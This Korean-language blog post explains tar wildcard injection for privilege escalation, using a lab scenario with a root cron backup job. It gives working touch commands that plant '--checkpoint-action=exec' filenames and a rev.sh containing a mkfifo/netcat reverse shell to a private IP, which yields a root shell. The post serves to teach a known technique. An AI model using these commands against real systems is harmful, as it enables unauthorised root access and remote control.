Wildcard(*) 인젝션에 대하여

tar와 와일드카드를 이용한 취약점

By Hong

와일드카드(*)를 이용한 권한상승 취약점에 대한 설명글.

시나리오

cron에 등록된 작업에 와일드카드를 이용한 명령어가 적혀있는 경우를 가정하여 권한상승 공격을 실시.

cat /etc/crontab을 했을 경우 아래와 같은 작업이 등록되어 있다고 가정한다.

# m h dom mon dow user  command
*/01 *  * * *   root    cd /home/vuln/backuplog && tar -zcf /backup/backuplog.tar.gz *
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

여기서 주목해야 할 부분은 처음에 있는 tar 명령어와 root의 권한으로 실행된다는 점.

그리고 wildcard (*)에 의해서 디렉토리 휘하에 모든 파일이 tar에 인식된다는 점.

tar의 옵션중 –checkpoint-action을 이용하면 지정한 파일을 실행하는 것도 가능하다.

위의 첫번째 작업을 해석하면, /home/vuln/backuplog라는 디렉토리로 이동 후, 그 디렉토리안에 있는 모든 파일을 하나로 묶어 backup디렉토리에 저장하고 있다.

취약점

이 점을 이용하여 디렉토리에 명령어를 파일처럼 만들어두어 tar가 실행하도록 한다.

tar 체크포인트의 설명

touch -- '--checkpoint=1'

touch -- '--checkpoint-action=exec=sh rev.sh'

위와 같이 두개의 명령어를 추가하여 리버스쉘을 실행하도록 유도할 수 있다.

touch --를 해야 명령어 형식의 파일을 만들 수 있다.

ls /home/vuln/backuplog
'--checkpoint-action=exec=sh rev.sh'  
'--checkpoint=1'   
bad.log   
good.log   
rev.sh

backuplog디렉토리를 보면 방금 만든 명령어 2개와 리버스쉘 파일, 그리고 good,bad라는 로그파일 두개가 있다.

rev.sh라는 실행파일은 리버스쉘을 위해 작성한 실행파일이다. 안에 내용물은 아래와 같다.

#! /bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|../Desktop/nc 192.168.11.135 8888 >/tmp/f

cron잡에 의해 위의 파일은 결국 다음과 같이 실행될 것이다.

tar -zcf /backup/backuplog.tar.gz --checkpoint=1 --checkpoint-action=exec=sh rev.sh bad.log good.log rev.sh

결과

crontab을 보면 백업 작업이 매분마다 실행되었기 때문에 호스트 머신에서 포트를 리스닝하고 기다리고있으면 cron잡이 실행되어 root로 타겟머신의 쉘이 열리게 된다.

result id명령어를 실행하면 root로 쉘을 취득한 것을 알 수 있다.

Share: X (Twitter) Facebook LinkedIn